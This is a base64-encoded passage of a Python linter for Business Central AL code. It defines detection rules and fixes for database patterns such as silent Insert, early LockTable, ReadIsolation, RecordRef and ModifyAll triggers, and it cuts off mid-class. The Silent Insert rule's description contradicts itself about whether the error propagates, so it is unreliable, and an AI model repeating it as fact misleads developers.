UgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMjcg4oCUIFNpbGVudCBJbnNlcnQgZmFpbHVyZSAoaWYgSW5zZXJ0IHRoZW4pCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACkBfcmVnaXN0ZXIoCiAgICBpZD0iU0lMRU5UX0lOU0VSVF9GQUlMVVJFIiwKICAgIGdyb3VwPSJXcml0ZSBQYXR0ZXJucyIsCiAgICBzZXZlcml0eT0iTUVESVVNIiwKICAgIHRpdGxlPSInaWYgUmVjb3JkLkluc2VydChmYWxzZSkgdGhlbicgc2lsZW50bHkgc3dhbGxvd3MgZHVwbGljYXRlLWtleSBlcnJvcnMiLAogICAgZGVzY3JpcHRpb249KCJJbiBBTCwgSW5zZXJ0KGZhbHNlKSBkb2VzIE5PVCBzdXBwcmVzcyB0aGUgU1FMIHVuaXF1ZSBjb25zdHJhaW50IGVycm9yIOKAlCBpdCBzdGlsbCBwcm9wYWdhdGVzLiBXcmFwcGluZyBpdCBpbiAnaWYgLi4uIHRoZW4nIGdpdmVzIGEgZmFsc2Ugc2Vuc2UgdGhhdCB0aGUgZmFpbHVyZSBpcyBoYW5kbGVkLiBJbiBwcmFjdGljZSB0aGUgcmVjb3JkIHNpbGVudGx5IGlzbid0IGNyZWF0ZWQgYW5kIHRoZSBjYWxsZXIgbmV2ZXIga25vd3MsIGxlYWRpbmcgdG8gZGF0YSBpbnRlZ3JpdHkgZ2Fwcy5cblxuU1FMIElNUEFDVDogU1FMIHVuaXF1ZSBjb25zdHJhaW50IGVycm9yIHN0aWxsIHJhaXNlZCDigJQgJ2lmIHRoZW4nIGRvZXNuJ3QgY2F0Y2ggU1FMIGVycm9ycy5cblNpbGVudCBmYWlsdXJlIOKGkiBtaXNzaW5nIHJlY29yZHMg4oaSIGludGVncml0eSBnYXAuXG5cbkJBRDogIGlmIFJlY29yZC5JbnNlcnQoZmFsc2UpIHRoZW4gTW92ZW1lbnRDb3VudCArPSAxO1xuR09PRDogUmVjb3JkLkluc2VydChmYWxzZSk7IE1vdmVtZW50Q291bnQgKz0gMTtcblxuSElOVDogSW5zZXJ0IGEgZHVwbGljYXRlIGtleSByb3cgd2l0aCAnaWYgSW5zZXJ0IHRoZW4nLiBDaGVjayBTUUwgUHJvZmlsZXIg4oCUIGRvZXMgdGhlIGVycm9yIGFwcGVhcj8gVGhlIHJlY29yZCBpcyBub3QgY3JlYXRlZCBidXQgbm8gQUwgZXJyb3IgcmFpc2VkLiIpLAogICAgZXhlcmNpc2VzPVszMF0sCikKY2xhc3MgUGF0dGVyblNpbGVudEluc2VydEZhaWx1cmU6CiAgICBfUkUgPSByZS5jb21waWxlKHInaWZccytcdytcLkluc2VydFwoKD86ZmFsc2V8dHJ1ZSlcKVxzK3RoZW4nLCByZS5NVUxUSUxJTkUpCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgcmV0dXJuIF9maW5kaW5ncyh0ZXh0LCBQYXR0ZXJuU2lsZW50SW5zZXJ0RmFpbHVyZS5fUkUsCiAgICAgICAgICAgICAgICAgICAgICAgICBsYW1iZGEgbTogIlNpbGVudCBJbnNlcnQg4oCUIGVycm9ycyB3b24ndCBzdXJmYWNlLiBVc2UgcGxhaW4gSW5zZXJ0KCkgb3IgaGFuZGxlIGV4cGxpY2l0bHkiKQoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgcmV0dXJuIHRleHQKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMjgg4oCUIExvY2tUYWJsZSB0b28gZWFybHkgKGJlZm9yZSByZWFkLW9ubHkgcGhhc2UpCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACkBfcmVnaXN0ZXIoCiAgICBpZD0iTE9DS1RBQkxFX1RPT19FQVJMWSIsCiAgICBncm91cD0iTG9ja2luZyIsCiAgICBzZXZlcml0eT0iSElHSCIsCiAgICB0aXRsZT0iTG9ja1RhYmxlKCkgY2FsbGVkIGJlZm9yZSByZWFkIHBoYXNlIOKAlCBob2xkcyB3cml0ZSBsb2NrIGR1cmluZyByZWFkcyIsCiAgICBkZXNjcmlwdGlvbj0oJ0xvY2tUYWJsZSgpIGF0IHRoZSB0b3Agb2YgYSBwcm9jZWR1cmUgaG9sZHMgYW4gZXhjbHVzaXZlIGxvY2sgdGhyb3VnaCB0aGUgZW50aXJlIHZhbGlkYXRpb24gLyByZWFkIHBoYXNlIOKAlCB3aGljaCBtYXkgdGFrZSBzZWNvbmRzIG9uIGxhcmdlIGRhdGEuIEV2ZXJ5IG90aGVyIHNlc3Npb24gbmVlZGluZyB0aGlzIHRhYmxlIGlzIGJsb2NrZWQgZm9yIHRoZSBmdWxsIGR1cmF0aW9uLiBUaGUgbG9jayBpcyBvbmx5IG5lZWRlZCBhdCB0aGUgbW9tZW50IG9mIHRoZSBmaXJzdCB3cml0ZS5cblxuU1FMIElNUEFDVDogWC1sb2NrIGhlbGQgZnJvbSB0b3Agb2YgcHJvYyB0aHJvdWdoIGVudGlyZSByZWFkIHBoYXNlIChzZWNvbmRzKS5cbnZzLiBYLWxvY2sgYWNxdWlyZWQganVzdCBiZWZvcmUgZmlyc3QgTW9kaWZ5IChtaWxsaXNlY29uZHMpLlxuXG5CQUQ6ICBXb3Jrc2hvcERhdGEuTG9ja1RhYmxlKCk7IC4uLiBpZiBXb3Jrc2hvcERhdGEuRmluZFNldCgpIHRoZW4gW3JlYWQgbG9vcF0gLi4uXG5HT09EOiBbcmVhZCBsb29wIHdpdGhvdXQgbG9ja10gLi4uIFdvcmtzaG9wRGF0YS5Mb2NrVGFibGUoKTsgW3dyaXRlIHBoYXNlIG9ubHldXG5cbkhJTlQ6IFVzZSBBY3Rpdml0eSBNb25pdG9yIG9yIFByb2ZpbGVyIGxvY2sgZXZlbnRzLiBMb2NrVGFibGUgYXQgc3RhcnQ6IFgtbG9jayBoZWxkIGR1cmluZyBlbnRpcmUgcmVhZCBwaGFzZS4gTG9ja1RhYmxlIGF0IHdyaXRlIHBoYXNlOiBYLWxvY2sgaGVsZCBmb3IgbWlsbGlzZWNvbmRzIG9ubHkuJyksCiAgICBleGVyY2lzZXM9WzMxLCA0Ml0sCikKY2xhc3MgUGF0dGVybkxvY2tUYWJsZVRvb0Vhcmx5OgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgZmluZGluZ3MgPSBbXQogICAgICAgIGxpbmVzID0gdGV4dC5zcGxpdGxpbmVzKCkKICAgICAgICBmb3IgaSwgbGluZSBpbiBlbnVtZXJhdGUobGluZXMpOgogICAgICAgICAgICBpZiByZS5zZWFyY2gocidcdytcLkxvY2tUYWJsZVwoJywgbGluZSkgYW5kIG5vdCBsaW5lLnN0cmlwKCkuc3RhcnRzd2l0aCgnLy8nKToKICAgICAgICAgICAgICAgICMgQ2hlY2sgaWYgRmluZFNldCBmb2xsb3dzIChyZWFkIHBoYXNlKQogICAgICAgICAgICAgICAgYWhlYWQgPSAnXG4nLmpvaW4obGluZXNbaTptaW4obGVuKGxpbmVzKSwgaSsxNSldKQogICAgICAgICAgICAgICAgaWYgcmUuc2VhcmNoKHInXC5GaW5kU2V0XChcKScsIGFoZWFkKToKICAgICAgICAgICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgICAgICAgICAibGluZSI6IGkgKyAxLAogICAgICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IGxpbmUuc3RyaXAoKVs6MTIwXSwKICAgICAgICAgICAgICAgICAgICAgICAgIm1lc3NhZ2UiOiAiTG9ja1RhYmxlKCkgYmVmb3JlIEZpbmRTZXQg4oCUIG1vdmUgbG9jayBjbG9zZXIgdG8gdGhlIHdyaXRlIG9wZXJhdGlvbiIKICAgICAgICAgICAgICAgICAgICB9KQogICAgICAgIHJldHVybiBmaW5kaW5ncwoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgcmV0dXJuIHRleHQKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMjkg4oCUIE1pc3NpbmcgUmVhZElzb2xhdGlvbiAoZGlydHkgcmVhZHMgc2FmZSA9IFJlYWRVbmNvbW1pdHRlZCkKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJNSVNTSU5HX1JFQURfSVNPTEFUSU9OIiwKICAgIGdyb3VwPSJMb2NraW5nIiwKICAgIHNldmVyaXR5PSJNRURJVU0iLAogICAgdGl0bGU9IkZpbmRTZXQgb24gcmVwb3J0aW5nL3JlYWQtb25seSBxdWVyeSB3aXRob3V0IFJlYWRJc29sYXRpb24gPSBSZWFkVW5jb21taXR0ZWQiLAogICAgZGVzY3JpcHRpb249KCdSZWFkLW9ubHkgYW5hbHl0aWNzIEZpbmRTZXQgYWNxdWlyZXMgU2hhcmVkIChTKSBsb2NrcyBvbiBldmVyeSBmZXRjaGVkIHBhZ2UuIENvbmN1cnJlbnQgd2FyZWhvdXNlIHdyaXRlIHNlc3Npb25zIGhvbGQgRXhjbHVzaXZlIChYKSBsb2NrcyBvbiBzYW1lIHJvd3MuIFJlc3VsdDogYW5hbHl0aWNzIGJsb2NrcyBwb3N0aW5ncywgcG9zdGluZ3MgYmxvY2sgYW5hbHl0aWNzLiBPbiBhIDUwIDAwMC1yb3cgc2NhbiwgUy1sb2NrcyBhcmUgaGVsZCBmb3Igc2V2ZXJhbCBzZWNvbmRzLlxuXG5TUUwgSU1QQUNUOiBEZWZhdWx0IGlzb2xhdGlvbjogU2hhcmVkIChTKSBsb2NrcyBwZXIgcGFnZSBmZXRjaGVkLlxuUmVhZFVuY29tbWl0dGVkOiBOTyBsb2NrIGFjcXVpc2l0aW9uIOKAlCByZWFkZXJzIG5ldmVyIGJsb2NrIHdyaXRlcnMuXG5cbkdPT0Q6IFdvcmtzaG9wRGF0YS5SZWFkSXNvbGF0aW9uIDo9IElzb2xhdGlvbkxldmVsOjpSZWFkVW5jb21taXR0ZWQ7XG4gICAgICBpZiBXb3Jrc2hvcERhdGEuRmluZFNldCgpIHRoZW4gLi4uXG5cbkhJTlQ6IFdpdGhvdXQgUmVhZFVuY29tbWl0dGVkOiB3YXRjaCBTLWxvY2sgZXZlbnRzIHBlciBwYWdlIGluIFNRTCBQcm9maWxlci4gV2l0aCBSZWFkVW5jb21taXR0ZWQ6IHplcm8gUy1sb2NrIGV2ZW50cyDigJQgcmVhZGVycyBpbnZpc2libGUuIE5ldmVyIHVzZSBmb3IgZmluYW5jaWFsIHBvc3RpbmdzIG9yIHZhbGlkYXRpb24uJyksCiAgICBleGVyY2lzZXM9WzM0XSwKKQpjbGFzcyBQYXR0ZXJuTWlzc2luZ1JlYWRJc29sYXRpb246CiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICBmaW5kaW5ncyA9IFtdCiAgICAgICAgbGluZXMgPSB0ZXh0LnNwbGl0bGluZXMoKQogICAgICAgIGZvciBpLCBsaW5lIGluIGVudW1lcmF0ZShsaW5lcyk6CiAgICAgICAgICAgIGlmIHJlLnNlYXJjaChyJ1x3K1wuRmluZFNldFwoXCknLCBsaW5lKSBhbmQgbm90IGxpbmUuc3RyaXAoKS5zdGFydHN3aXRoKCcvLycpOgogICAgICAgICAgICAgICAgIyBQcm9jZWR1cmUgbmFtZSBzdWdnZXN0cyByZXBvcnRpbmcKICAgICAgICAgICAgICAgIGNvbnRleHRfYWJvdmUgPSAnXG4nLmpvaW4obGluZXNbbWF4KDAsIGktMzApOmldKQogICAgICAgICAgICAgICAgaWYgcmUuc2VhcmNoKHInUmVwb3J0fERhc2hib2FyZHxFeHBvcnR8QnVpbGQuKlJlcG9ydHxTbmFwc2hvdCcsIGNvbnRleHRfYWJvdmUsIHJlLklHTk9SRUNBU0UpOgogICAgICAgICAgICAgICAgICAgIGlmICdSZWFkSXNvbGF0aW9uJyBub3QgaW4gY29udGV4dF9hYm92ZToKICAgICAgICAgICAgICAgICAgICAgICAgZmluZGluZ3MuYXBwZW5kKHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJsaW5lIjogaSArIDEsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IGxpbmUuc3RyaXAoKVs6MTIwXSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtZXNzYWdlIjogIlJlcG9ydGluZyBGaW5kU2V0IHdpdGhvdXQgUmVhZElzb2xhdGlvbiA6PSBSZWFkVW5jb21taXR0ZWQg4oCUIG1heSBibG9jayBjb25jdXJyZW50IHdyaXRlcyIKICAgICAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICByZXR1cm4gZmluZGluZ3MKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiB0ZXh0CgoKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKIyBQQVRURVJOIDMwIOKAlCBSZWNvcmRSZWYvRmllbGRSZWYgd2hlbiB0eXBlZCBSZWNvcmQgaXMgc3VmZmljaWVudAojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IlJFQ09SRFJFRl9XSEVOX1RZUEVEX1NVRkZJQ0lFTlQiLAogICAgZ3JvdXA9Ik1lbW9yeSAvIENvcGllcyIsCiAgICBzZXZlcml0eT0iTE9XIiwKICAgIHRpdGxlPSJSZWNvcmRSZWYvRmllbGRSZWYgdXNlZCB3aGVuIGEgdHlwZWQgUmVjb3JkIHZhcmlhYmxlIHdvdWxkIHN1ZmZpY2UiLAogICAgZGVzY3JpcHRpb249KCdSZWNvcmRSZWYgcHJvdmlkZXMgbGF0ZS1ib3VuZCwgcmVmbGVjdGlvbi1iYXNlZCB0YWJsZSBhY2Nlc3MuIEVhY2ggRmllbGQoKSBjYWxsIGRvZXMgYSBkaWN0aW9uYXJ5IGxvb2t1cCArIHR5cGUgYm94aW5nLiBTUUwgZ2VuZXJhdGlvbiBpcyBsZXNzIG9wdGltaXplZCB0aGFuIGZvciB0eXBlZCBSZWNvcmQgdmFyaWFibGVzLiBCZW5jaG1hcmtzIHNob3cgM+KAkzV4IHNsb3dlciByZWFkcyB0aGFuIHR5cGVkIFJlY29yZCBvbiBzYW1lIGRhdGEuXG5cblNRTCBJTVBBQ1Q6IFJlY29yZFJlZjogRmllbGQoKSBsb29rdXAgKyBib3hpbmcgb3ZlcmhlYWQgcGVyIGZpZWxkIHBlciByb3cuXG5UeXBlZCBSZWNvcmQ6IGRpcmVjdCBmaWVsZCBhY2Nlc3MsIGNvbXBpbGVyLW9wdGltaXplZCBTUUwuXG5cbkJBRDogIFJlY1JlZjogUmVjb3JkUmVmOyBSZWNSZWYuT3BlbihEYXRhYmFzZTo6XFwiV29ya3Nob3AgRGF0YVxcIik7IFJlY1JlZi5GaWVsZCgyKS5WYWx1ZSA6PSAuLi47XG5HT09EOiBXb3Jrc2hvcERhdGE6IFJlY29yZCBcXCJXb3Jrc2hvcCBEYXRhXFwiOyBXb3Jrc2hvcERhdGEuRGVzY3JpcHRpb24gOj0gLi4uO1xuXG5ISU5UOiBDb21wYXJlIFJlY29yZFJlZi5GaWVsZCgyKS5WYWx1ZSB2cyB0eXBlZCBXb3Jrc2hvcERhdGEuRGVzY3JpcHRpb24uIFJ1biBhIDEwIDAwMC1yb3cgbG9vcCB3aXRoIGVhY2gg4oCUIHRpbWUgdGhlIGRpZmZlcmVuY2UuIFJlY29yZFJlZiBpcyAz4oCTNXggc2xvd2VyLicpLAogICAgZXhlcmNpc2VzPVszNV0sCikKY2xhc3MgUGF0dGVyblJlY29yZFJlZlVubmVjZXNzYXJ5OgogICAgX1JFID0gcmUuY29tcGlsZShyJ1xiUmVjUmVmXHMqOlxzKlJlY29yZFJlZlxifFxiRmxkUmVmXHMqOlxzKkZpZWxkUmVmXGInLCByZS5NVUxUSUxJTkUpCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgcmV0dXJuIF9maW5kaW5ncyh0ZXh0LCBQYXR0ZXJuUmVjb3JkUmVmVW5uZWNlc3NhcnkuX1JFLAogICAgICAgICAgICAgICAgICAgICAgICAgbGFtYmRhIG06ICJSZWNvcmRSZWYvRmllbGRSZWYg4oCUIGNvbnNpZGVyIHR5cGVkIFJlY29yZCB2YXJpYWJsZSBpZiB0YWJsZSBpcyBrbm93biBhdCBjb21waWxlIHRpbWUiKQoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgcmV0dXJuIHRleHQKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMzEg4oCUIE1vZGlmeUFsbCB3aXRoIFJ1blRyaWdnZXI9dHJ1ZQojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9Ik1PRElGWUFMTF9SVU5UUklHR0VSX1RSVUUiLAogICAgZ3JvdXA9IkJ1bGsgT3BlcmF0aW9ucyIsCiAgICBzZXZlcml0eT0iSElHSCIsCiAgICB0aXRsZT0iTW9kaWZ5QWxsIHdpdGggUnVuVHJpZ2dlcj10cnVlIGZpcmVzIE9uTW9kaWZ5IHRyaWdnZXIgcGVyIHJvdyIsCiAgICBkZXNjcmlwdGlvbj0oJ01vZGlmeUFsbCgpIHdpdGggUnVuVHJpZ2dlcj10cnVlIGNoZWNrcyBmb3IgT25BZnRlck1vZGlmeSBzdWJzY3JpYmVycy4gSWYgQU5ZIHN1YnNjcmliZXIgaXMgYm91bmQsIE1vZGlmeUFsbCBmYWxscyBiYWNrIHRvIE4gaW5kaXZpZHVhbCBNb2RpZnkoKSBjYWxscyDigJQgb25lIHBlciByZWNvcmQg4oCUIGVhY2ggdHJpZ2dlcmluZyB0aGUgc3Vic2NyaWJlci4gMTAgMDAwIHJlY29yZHMgw5cgMSBNb2RpZnkoKSBjYWxsID0gMTAgMDAwIFNRTCBVUERBVEUgcm91bmQtdHJpcHMuXG5cblNRTCBJTVBBQ1Q6IFdpdGggUnVuVHJpZ2dlcj10cnVlICsgYWN0aXZlIHN1YnNjcmliZXI6IE4gw5cgVVBEQVRFIHBlciByb3cuXG5XaXRoIFJ1blRyaWdnZXI9ZmFsc2U6IDEgw5cgVVBEQVRFIC4uLiBXSEVSRSAuLi4gKHNpbmdsZSBTUUwgc3RhdGVtZW50KS5cblxuQkFEOiAgUmVjb3JkLk1vZGlmeUFsbChGaWVsZCwgVmFsdWUsIHRydWUpO1xuR09PRDogUmVjb3JkLk1vZGlmeUFsbChGaWVsZCwgVmFsdWUsIGZhbHNlKTtcblxuSElOVDogQmluZCB0aGUgc3Vic2NyaWJlciBhbmQgcnVuIE1vZGlmeUFsbCB3aXRoIFJ1blRyaWdnZXI9dHJ1ZS4gU1FMIFByb2ZpbGVyOiBjb3VudCBVUERBVEUgc3RhdGVtZW50cyDigJQgc2hvdWxkIGJlIE4gcm93cy4gQ2hhbmdlIHRvIFJ1blRyaWdnZXI9ZmFsc2U6IG5vdyBjb3VudCBpcyAxIFVQREFURSBzdGF0ZW1lbnQuJyksCiAgICBleGVyY2lzZXM9WzM3XSwKKQpjbGFzcyBQYXR0ZXJuTW9kaWZ5QWxsUnVuVHJpZ2dlcjoKICAgIF9SRSA9IHJlLmNvbXBpbGUocidcdytcLk1vZGlmeUFsbFwoW14pXSssXHMqdHJ1ZVwpJywgcmUuTVVMVElMSU5FKQoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBkZXRlY3QodGV4dDogc3RyKSAtPiBsaXN0W2RpY3RdOgogICAgICAgIHJldHVybiBfZmluZGluZ3ModGV4dCwgUGF0dGVybk1vZGlmeUFsbFJ1blRyaWdnZXIuX1JFLAogICAgICAgICAgICAgICAgICAgICAgICAgbGFtYmRhIG06ICJNb2RpZnlBbGwgd2l0aCBSdW5UcmlnZ2VyPXRydWUgZmlyZXMgT25Nb2RpZnkgcGVyIHJvdyDigJQgdXNlIGZhbHNlIHVubGVzcyByZXF1aXJlZCIpCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGZpeCh0ZXh0OiBzdHIpIC0+IHN0cjoKICAgICAgICByZXR1cm4gcmUuc3ViKAogICAgICAgICAgICByJyhcdytcLk1vZGlmeUFsbFwoW14pXSssXHMqKXRydWUoXCkpJywKICAgICAgICAgICAgcidcMWZhbHNlXDInLAogICAgICAgICAgICB0ZXh0CiAgICAgICAgKQoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAzMiDigJQgTWlzc2luZyBEYXRhYmFzZS5TZWxlY3RMYXRlc3RWZXJzaW9uIGluIG11bHRpLXBhc3MgbG9vcAojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9Ik1JU1NJTkdfU0VMRUNUTEFURVNUVkVSU0lPTiIsCiAgICBncm91cD0iU3RhbGUgUmVhZHMiLAogICAgc2V2ZXJpdHk9Ik1FRElVTSIsCiAgICB0aXRsZT0iTXVsdGktcGFzcyByZWFkIGxvb3Agd2l0aG91dCBEYXRhYmFzZS5TZWxlY3RMYXRlc3RWZXJzaW9uKCkiLAogICAgZGVzY3JpcHRpb249KCdCQyBOU1QgY2FjaGVzIFNRTCBxdWVyeSByZXN1bHRzIGluLXNlc3Npb24uIFJlcGVhdGVkIEZpbmRTZXQgY2FsbHMgd2l0aCB0aGUgc2FtZSBmaWx0ZXIgcmV0dXJuIENBQ0hFRCByb3dzIOKAlCBubyBTUUwgZXhlY3V0ZWQgYWZ0ZXIgcGFzcyAxLiBBIG11bHRpLXBhc3MgcGlwZWxpbmUgcmVhZGluZyB0aGUgc2FtZSBmaWx0ZXIgc2lsZW50bHkgcmV0dXJucyBzdGFsZSBkYXRhIGZyb20gcGFzcyAxIGZvciBwYXNzZXMgMuKAk04gaWYgZGF0YSBjaGFuZ2VkIGNvbmN1cnJlbnRseS5cblxuU1FMIElNUEFDVDogUGFzcyAxOiBTRUxFQ1QgLi4uIChyZWFsIFNRTCkuXG5QYXNzIDLigJNOOiBbTlNUIGNhY2hlIGhpdF0g4oaSIG5vIFNRTCwgbm8gYXdhcmVuZXNzIG9mIGNvbmN1cnJlbnQgdXBkYXRlcy5cblxuR09PRDogZm9yZWFjaCBQYXNzIGluIFBhc3NlcyBkbyBiZWdpblxuICAgICAgICAgIERhdGFiYXNlLlNlbGVjdExhdGVzdFZlcnNpb24oKTsgLy8gRmx1c2hlcyBub24tbG9ja2VkIHNlc3Npb24gY2FjaGVcbiAgICAgICAgICBpZiBSZWNvcmQuRmluZFNldCgpIHRoZW4gLi4uXG5cbkhJTlQ6IFJ1biB0aGUgcGlwZWxpbmUgdHdpY2U6IHdpdGggYW5kIHdpdGhvdXQgU2VsZWN0TGF0ZXN0VmVyc2lvbi4gV2l0aG91dCBmbHVzaDogMCBTUUwgcXVlcmllcyBmb3IgcGFzc2VzIDLigJNOIChjYWNoZSBoaXQg4oCUIHN0YWxlIGRhdGEpLicpLAogICAgZXhlcmNpc2VzPVszOF0sCikKY2xhc3MgUGF0dGVybk1pc3NpbmdTZWxlY3RMYXRlc3RWZXJzaW9uOgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgcmV0dXJuIFtdICAjIFRvbyBjb250ZXh0LXNwZWNpZ